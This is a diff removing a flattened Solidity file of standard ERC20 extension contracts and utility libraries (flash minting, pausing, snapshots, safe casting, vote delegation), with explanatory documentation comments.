-        require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
-        super._mint(account, amount);
-    }
-}
-
-
-// File contracts/extensions/IERC3156.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC3156 FlashBorrower, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * _Available since v4.1._
- */
-interface IERC3156FlashBorrower {
-    /**
-     * @dev Receive a flash loan.
-     * @param initiator The initiator of the loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param fee The additional amount of tokens to repay.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
-     */
-    function onFlashLoan(
-        address initiator,
-        address token,
-        uint256 amount,
-        uint256 fee,
-        bytes calldata data
-    ) external returns (bytes32);
-}
-
-/**
- * @dev Interface of the ERC3156 FlashLender, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- */
-interface IERC3156FlashLender {
-    /**
-     * @dev The amount of currency available to be lended.
-     * @param token The loan currency.
-     * @return The amount of `token` that can be borrowed.
-     */
-    function maxFlashLoan(
-        address token
-    ) external view returns (uint256);
-
-    /**
-     * @dev The fee to be charged for a given loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
-     */
-    function flashFee(
-        address token,
-        uint256 amount
-    ) external view returns (uint256);
-
-    /**
-     * @dev Initiate a flash loan.
-     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    ) external returns (bool);
- }
-
-
-// File contracts/extensions/ERC20FlashMint.sol
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC3156 Flash loans extension, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * Adds the {flashLoan} method, which provides flash loan support at the token
- * level. By default there is no fee, but this can be changed by overriding {flashFee}.
- *
- * _Available since v4.1._
- */
-abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
-    bytes32 constant private RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
-
-    /**
-     * @dev Returns the maximum amount of tokens available for loan.
-     * @param token The address of the token that is requested.
-     * @return The amont of token that can be loaned.
-     */
-    function maxFlashLoan(address token) public view override returns (uint256) {
-        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
-    }
-
-    /**
-     * @dev Returns the fee applied when doing flash loans. By default this
-     * implementation has 0 fees. This function can be overloaded to make
-     * the flash loan mechanism deflationary.
-     * @param token The token to be flash loaned.
-     * @param amount The amount of tokens to be loaned.
-     * @return The fees applied to the corresponding flash loan.
-     */
-    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
-        require(token == address(this), "ERC20FlashMint: wrong token");
-        // silence warning about unused variable without the addition of bytecode.
-        amount;
-        return 0;
-    }
-
-    /**
-     * @dev Performs a flash loan. New tokens are minted and sent to the
-     * `receiver`, who is required to implement the {IERC3156FlashBorrower}
-     * interface. By the end of the flash loan, the receiver is expected to own
-     * amount + fee tokens and have them approved back to the token contract itself so
-     * they can be burned.
-     * @param receiver The receiver of the flash loan. Should implement the
-     * {IERC3156FlashBorrower.onFlashLoan} interface.
-     * @param token The token to be flash loaned. Only `address(this)` is
-     * supported.
-     * @param amount The amount of tokens to be loaned.
-     * @param data An arbitrary datafield that is passed to the receiver.
-     * @return `true` is the flash loan was successfull.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    )
-        public virtual override returns (bool)
-    {
-        uint256 fee = flashFee(token, amount);
-        _mint(address(receiver), amount);
-        require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == RETURN_VALUE, "ERC20FlashMint: invalid return value");
-        uint256 currentAllowance = allowance(address(receiver), address(this));
-        require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
-        _approve(address(receiver), address(this), currentAllowance - amount - fee);
-        _burn(address(receiver), amount + fee);
-        return true;
-    }
-}
-
-
-// File contracts/extensions/Pausable.sol
-
-
-
-
-
-/**
- * @dev Contract module which allows children to implement an emergency stop
- * mechanism that can be triggered by an authorized account.
- *
- * This module is used through inheritance. It will make available the
- * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
- * the functions of your contract. Note that they will not be pausable by
- * simply including this module, only once the modifiers are put in place.
- */
-abstract contract Pausable is Context {
-    /**
-     * @dev Emitted when the pause is triggered by `account`.
-     */
-    event Paused(address account);
-
-    /**
-     * @dev Emitted when the pause is lifted by `account`.
-     */
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    /**
-     * @dev Initializes the contract in unpaused state.
-     */
-    constructor () {
-        _paused = false;
-    }
-
-    /**
-     * @dev Returns true if the contract is paused, and false otherwise.
-     */
-    function paused() public view virtual returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    modifier whenNotPaused() {
-        require(!paused(), "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    modifier whenPaused() {
-        require(paused(), "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Triggers stopped state.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    function _pause() internal virtual whenNotPaused {
-        _paused = true;
-        emit Paused(_msgSender());
-    }
-
-    /**
-     * @dev Returns to normal state.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    function _unpause() internal virtual whenPaused {
-        _paused = false;
-        emit Unpaused(_msgSender());
-    }
-}
-
-
-// File contracts/extensions/ERC20Pausable.sol
-
-
-
-
-
-
-/**
- * @dev ERC20 token with pausable token transfers, minting and burning.
- *
- * Useful for scenarios such as preventing trades until the end of an evaluation
- * period, or having an emergency switch for freezing all token transfers in the
- * event of a large bug.
- */
-abstract contract ERC20Pausable is ERC20, Pausable {
-    /**
-     * @dev See {ERC20-_beforeTokenTransfer}.
-     *
-     * Requirements:
-     *
-     * - the contract must not be paused.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        super._beforeTokenTransfer(from, to, amount);
-
-        require(!paused(), "ERC20Pausable: token transfer while paused");
-    }
-}
-
-
-// File contracts/utils/Math.sol
-
-
-
-
-
-/**
- * @dev Standard math utilities missing in the Solidity language.
- */
-library Math {
-    /**
-     * @dev Returns the largest of two numbers.
-     */
-    function max(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a >= b ? a : b;
-    }
-
-    /**
-     * @dev Returns the smallest of two numbers.
-     */
-    function min(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a < b ? a : b;
-    }
-
-    /**
-     * @dev Returns the average of two numbers. The result is rounded towards
-     * zero.
-     */
-    function average(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b) / 2 can overflow, so we distribute.
-        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
-    }
-
-    /**
-     * @dev Returns the ceiling of the division of two numbers.
-     *
-     * This differs from standard division with `/` in that it rounds up instead
-     * of rounding down.
-     */
-    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b - 1) / b can overflow on addition, so we distribute.
-        return a / b + (a % b == 0 ? 0 : 1);
-    }
-}
-
-
-// File contracts/utils/Arrays.sol
-
-
-
-
-
-/**
- * @dev Collection of functions related to array types.
- */
-library Arrays {
-   /**
-     * @dev Searches a sorted `array` and returns the first index that contains
-     * a value greater or equal to `element`. If no such index exists (i.e. all
-     * values in the array are strictly less than `element`), the array length is
-     * returned. Time complexity O(log n).
-     *
-     * `array` is expected to be sorted in ascending order, and to contain no
-     * repeated elements.
-     */
-    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
-        if (array.length == 0) {
-            return 0;
-        }
-
-        uint256 low = 0;
-        uint256 high = array.length;
-
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-
-            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)
-            // because Math.average rounds down (it does integer division with truncation).
-            if (array[mid] > element) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
-        if (low > 0 && array[low - 1] == element) {
-            return low - 1;
-        } else {
-            return low;
-        }
-    }
-}
-
-
-// File contracts/extensions/ERC20Snapshot.sol
-
-
-
-
-
-
-
-/**
- * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
- * total supply at the time are recorded for later access.
- *
- * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
- * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
- * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
- * used to create an efficient ERC20 forking mechanism.
- *
- * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
- * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
- * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
- * and the account address.
- *
- * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
- * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
- * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
- *
- * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
- * alternative consider {ERC20Votes}.
- *
- * ==== Gas Costs
- *
- * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
- * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
- * smaller since identical balances in subsequent snapshots are stored as a single entry.
- *
- * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
- * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
- * transfers will have normal cost until the next snapshot, and so on.
- */
-
-abstract contract ERC20Snapshot is ERC20 {
-    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:
-    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
-
-    using Arrays for uint256[];
-    using Counters for Counters.Counter;
-
-    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
-    // Snapshot struct, but that would impede usage of functions that work on an array.
-    struct Snapshots {
-        uint256[] ids;
-        uint256[] values;
-    }
-
-    mapping (address => Snapshots) private _accountBalanceSnapshots;
-    Snapshots private _totalSupplySnapshots;
-
-    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
-    Counters.Counter private _currentSnapshotId;
-
-    /**
-     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
-     */
-    event Snapshot(uint256 id);
-
-    /**
-     * @dev Creates a new snapshot and returns its snapshot id.
-     *
-     * Emits a {Snapshot} event that contains the same id.
-     *
-     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
-     * set of accounts, for example using {AccessControl}, or it may be open to the public.
-     *
-     * [WARNING]
-     * ====
-     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
-     * you must consider that it can potentially be used by attackers in two ways.
-     *
-     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
-     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
-     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
-     * section above.
-     *
-     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
-     * ====
-     */
-    function _snapshot() internal virtual returns (uint256) {
-        _currentSnapshotId.increment();
-
-        uint256 currentId = _getCurrentSnapshotId();
-        emit Snapshot(currentId);
-        return currentId;
-    }
-
-    /**
-     * @dev Get the current snapshotId
-     */
-    function _getCurrentSnapshotId() internal view virtual returns (uint256) {
-        return _currentSnapshotId.current();
-    }
-
-    /**
-     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.
-     */
-    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
-
-        return snapshotted ? value : balanceOf(account);
-    }
-
-    /**
-     * @dev Retrieves the total supply at the time `snapshotId` was created.
-     */
-    function totalSupplyAt(uint256 snapshotId) public view virtual returns(uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
-
-        return snapshotted ? value : totalSupply();
-    }
-
-    // Update balance and/or total supply snapshots before the values are modified. This is implemented
-    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-      super._beforeTokenTransfer(from, to, amount);
-
-      if (from == address(0)) {
-        // mint
-        _updateAccountSnapshot(to);
-        _updateTotalSupplySnapshot();
-      } else if (to == address(0)) {
-        // burn
-        _updateAccountSnapshot(from);
-        _updateTotalSupplySnapshot();
-      } else {
-        // transfer
-        _updateAccountSnapshot(from);
-        _updateAccountSnapshot(to);
-      }
-    }
-
-    function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
-        private view returns (bool, uint256)
-    {
-        require(snapshotId > 0, "ERC20Snapshot: id is 0");
-        require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
-
-        // When a valid snapshot is queried, there are three possibilities:
-        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
-        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
-        //  to this id is the current one.
-        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
-        //  requested id, and its value is the one to return.
-        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be
-        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
-        //  larger than the requested one.
-        //
-        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
-        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
-        // exactly this.
-
-        uint256 index = snapshots.ids.findUpperBound(snapshotId);
-
-        if (index == snapshots.ids.length) {
-            return (false, 0);
-        } else {
-            return (true, snapshots.values[index]);
-        }
-    }
-
-    function _updateAccountSnapshot(address account) private {
-        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
-    }
-
-    function _updateTotalSupplySnapshot() private {
-        _updateSnapshot(_totalSupplySnapshots, totalSupply());
-    }
-
-    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
-        uint256 currentId = _getCurrentSnapshotId();
-        if (_lastSnapshotId(snapshots.ids) < currentId) {
-            snapshots.ids.push(currentId);
-            snapshots.values.push(currentValue);
-        }
-    }
-
-    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
-        if (ids.length == 0) {
-            return 0;
-        } else {
-            return ids[ids.length - 1];
-        }
-    }
-}
-
-
-// File contracts/utils/SafeCast.sol
-
-
-
-
-
-/**
- * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
- * checks.
- *
- * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
- * easily result in undesired exploitation or bugs, since developers usually
- * assume that overflows raise errors. `SafeCast` restores this intuition by
- * reverting the transaction when such an operation overflows.
- *
- * Using this library instead of the unchecked operations eliminates an entire
- * class of bugs, so it's recommended to use it always.
- *
- * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
- * all math on `uint256` and `int256` and then downcasting.
- */
-library SafeCast {
-    /**
-     * @dev Returns the downcasted uint224 from uint256, reverting on
-     * overflow (when the input is greater than largest uint224).
-     *
-     * Counterpart to Solidity's `uint224` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 224 bits
-     */
-    function toUint224(uint256 value) internal pure returns (uint224) {
-        require(value <= type(uint224).max, "SafeCast: value doesn\'t fit in 224 bits");
-        return uint224(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint128 from uint256, reverting on
-     * overflow (when the input is greater than largest uint128).
-     *
-     * Counterpart to Solidity's `uint128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     */
-    function toUint128(uint256 value) internal pure returns (uint128) {
-        require(value <= type(uint128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return uint128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint96 from uint256, reverting on
-     * overflow (when the input is greater than largest uint96).
-     *
-     * Counterpart to Solidity's `uint96` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 96 bits
-     */
-    function toUint96(uint256 value) internal pure returns (uint96) {
-        require(value <= type(uint96).max, "SafeCast: value doesn\'t fit in 96 bits");
-        return uint96(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint64 from uint256, reverting on
-     * overflow (when the input is greater than largest uint64).
-     *
-     * Counterpart to Solidity's `uint64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     */
-    function toUint64(uint256 value) internal pure returns (uint64) {
-        require(value <= type(uint64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return uint64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint32 from uint256, reverting on
-     * overflow (when the input is greater than largest uint32).
-     *
-     * Counterpart to Solidity's `uint32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     */
-    function toUint32(uint256 value) internal pure returns (uint32) {
-        require(value <= type(uint32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return uint32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint16 from uint256, reverting on
-     * overflow (when the input is greater than largest uint16).
-     *
-     * Counterpart to Solidity's `uint16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     */
-    function toUint16(uint256 value) internal pure returns (uint16) {
-        require(value <= type(uint16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return uint16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint8 from uint256, reverting on
-     * overflow (when the input is greater than largest uint8).
-     *
-     * Counterpart to Solidity's `uint8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     */
-    function toUint8(uint256 value) internal pure returns (uint8) {
-        require(value <= type(uint8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return uint8(value);
-    }
-
-    /**
-     * @dev Converts a signed int256 into an unsigned uint256.
-     *
-     * Requirements:
-     *
-     * - input must be greater than or equal to 0.
-     */
-    function toUint256(int256 value) internal pure returns (uint256) {
-        require(value >= 0, "SafeCast: value must be positive");
-        return uint256(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int128 from int256, reverting on
-     * overflow (when the input is less than smallest int128 or
-     * greater than largest int128).
-     *
-     * Counterpart to Solidity's `int128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt128(int256 value) internal pure returns (int128) {
-        require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return int128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int64 from int256, reverting on
-     * overflow (when the input is less than smallest int64 or
-     * greater than largest int64).
-     *
-     * Counterpart to Solidity's `int64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt64(int256 value) internal pure returns (int64) {
-        require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return int64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int32 from int256, reverting on
-     * overflow (when the input is less than smallest int32 or
-     * greater than largest int32).
-     *
-     * Counterpart to Solidity's `int32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt32(int256 value) internal pure returns (int32) {
-        require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return int32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int16 from int256, reverting on
-     * overflow (when the input is less than smallest int16 or
-     * greater than largest int16).
-     *
-     * Counterpart to Solidity's `int16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt16(int256 value) internal pure returns (int16) {
-        require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return int16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int8 from int256, reverting on
-     * overflow (when the input is less than smallest int8 or
-     * greater than largest int8).
-     *
-     * Counterpart to Solidity's `int8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     *
-     * _Available since v3.1._
-     */
-    function toInt8(int256 value) internal pure returns (int8) {
-        require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return int8(value);
-    }
-
-    /**
-     * @dev Converts an unsigned uint256 into a signed int256.
-     *
-     * Requirements:
-     *
-     * - input must be less than or equal to maxInt256.
-     */
-    function toInt256(uint256 value) internal pure returns (int256) {
-        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
-        require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
-        return int256(value);
-    }
-}
-
-
-// File contracts/extensions/ERC20Votes.sol
-
-
-
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
- * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
- *
- * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
- *
- * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getVotes} and {getPastVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20Votes is ERC20Permit {
-    struct Checkpoint {
-        uint32  fromBlock;
-        uint224 votes;
-    }
-
-    bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
-
-    mapping (address => address) private _delegates;
-    mapping (address => Checkpoint[]) private _checkpoints;
-    Checkpoint[] private _totalSupplyCheckpoints;
-
-    /**
-     * @dev Emitted when an account changes their delegate.
-     */
-    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
-
-    /**
-     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
-     */
-    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
-
-    /**
-     * @dev Get the `pos`-th checkpoint for `account`.
-     */
-    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
-        return _checkpoints[account][pos];
-    }
-
-    /**
-     * @dev Get number of checkpoints for `account`.
-     */
-    function numCheckpoints(address account) public view virtual returns (uint32) {
-        return SafeCast.toUint32(_checkpoints[account].length);
-    }
-
-    /**
-     * @dev Get the address `account` is currently delegating to.
-     */
-    function delegates(address account) public view virtual returns (address) {
-        return _delegates[account];
-    }
-
-    /**
-     * @dev Gets the current votes balance for `account`
-     */
-    function getVotes(address account) public view returns (uint256) {
-        uint256 pos = _checkpoints[account].length;
-        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
-    }
-
-    /**
-     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_checkpoints[account], blockNumber);
-    }
-
-    /**
-     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
-     * It is but NOT the sum of all the delegated votes!
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
-    }
-
-    /**
-     * @dev Lookup a value in a list of (sorted) checkpoints.
-     */
-    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
-        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
-        //
-        // During the loop, the index of the wanted checkpoint remains in the range [low, high).
-        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
-        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
-        // - If the middle checkpoint is before `blockNumber`, we look in [mid+1, high)
-        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
-        // out of bounds (in which case we're looking too far in the past and the result is 0).
-        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
-        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
-        // the same.
-        uint256 high = ckpts.length;
-        uint256 low = 0;
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-            if (ckpts[mid].fromBlock > blockNumber) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        return high == 0 ? 0 : ckpts[high - 1].votes;
-    }
-
-    /**
-     * @dev Delegate votes from the sender to `delegatee`.
-     */
-    function delegate(address delegatee) public virtual {
-        return _delegate(_msgSender(), delegatee);
-    }
-
-    /**
-     * @dev Delegates votes from signer to `delegatee`
-     */
-    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s)
-        public virtual
-    {
-        require(block.timestamp <= expiry, "ERC20Votes: signature expired");
-        address signer = ECDSA.recover(
-            _hashTypedDataV4(keccak256(abi.encode(
-                _DELEGATION_TYPEHASH,
-                delegatee,
-                nonce,
-                expiry
-            ))),
-            v, r, s
-        );
-        require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
-        return _delegate(signer, delegatee);
-    }
-
-    /**
-     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
-     */
-    function _maxSupply() internal view virtual returns (uint224) {
-        return type(uint224).max;
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been increased.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        super._mint(account, amount);
-        require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
-
-        _writeCheckpoint(_totalSupplyCheckpoints, add, amount);
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been decreased.
-     */
-    function _burn(address account, uint256 amount) internal virtual override {
-        super._burn(account, amount);
-
-        _writeCheckpoint(_totalSupplyCheckpoints, subtract, amount);
-    }
-
-    /**
-     * @dev Move voting power when tokens are transferred.
-     *
-     * Emits a {DelegateVotesChanged} event.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        _moveVotingPower(delegates(from), delegates(to), amount);
-    }
-
-    /**
-     * @dev Change delegation for `delegator` to `delegatee`.
-     *
-     * Emits events {DelegateChanged} and {DelegateVotesChanged}.
-     */
-    function _delegate(address delegator, address delegatee) internal virtual {
-        address currentDelegate = delegates(delegator);
-        uint256 delegatorBalance = balanceOf(delegator);
-        _delegates[delegator] = delegatee;
-
-        emit DelegateChanged(delegator, currentDelegate, delegatee);
-
-        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
-    }
-
-    function _moveVotingPower(address src, address dst, uint256 amount) private {
-        if (src != dst && amount > 0) {
-            if (src != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], subtract, amount);
-                emit DelegateVotesChanged(src, oldWeight, newWeight);
-            }
-
-            if (dst != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], add, amount);
-                emit DelegateVotesChanged(dst, oldWeight, newWeight);
-            }
-        }
-    }
-
-    function _writeCheckpoint(
-        Checkpoint[] storage ckpts,
-        function (uint256, uint256) view returns (uint256) op,
-        uint256 delta
-    )
-        private returns (uint256 oldWeight, uint256 newWeight)
-    {
-        uint256 pos = ckpts.length;
-        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
-        newWeight = op(oldWeight, delta);
-
-        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
-            ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
-        } else {
-            ckpts.push(Checkpoint({
-                fromBlock: SafeCast.toUint32(block.number),
-                votes: SafeCast.toUint224(newWeight)
-            }));
-        }
-    }
-
-    function add(uint256 a, uint256 b) private pure returns (uint256) {
-        return a + b;
-    }
-
-    function subtract(uint256 a, uint256 b) private pure returns (uint256) {
-        return a - b;
-    }
-}
-
-
-// File contracts/extensions/ERC20VotesComp.sol
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
- * interface, with the drawback of only supporting supply up to (2^96^ - 1).
- *
- * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
- * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
- * {ERC20Votes} variant of this module.
- *
- * This extensions keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
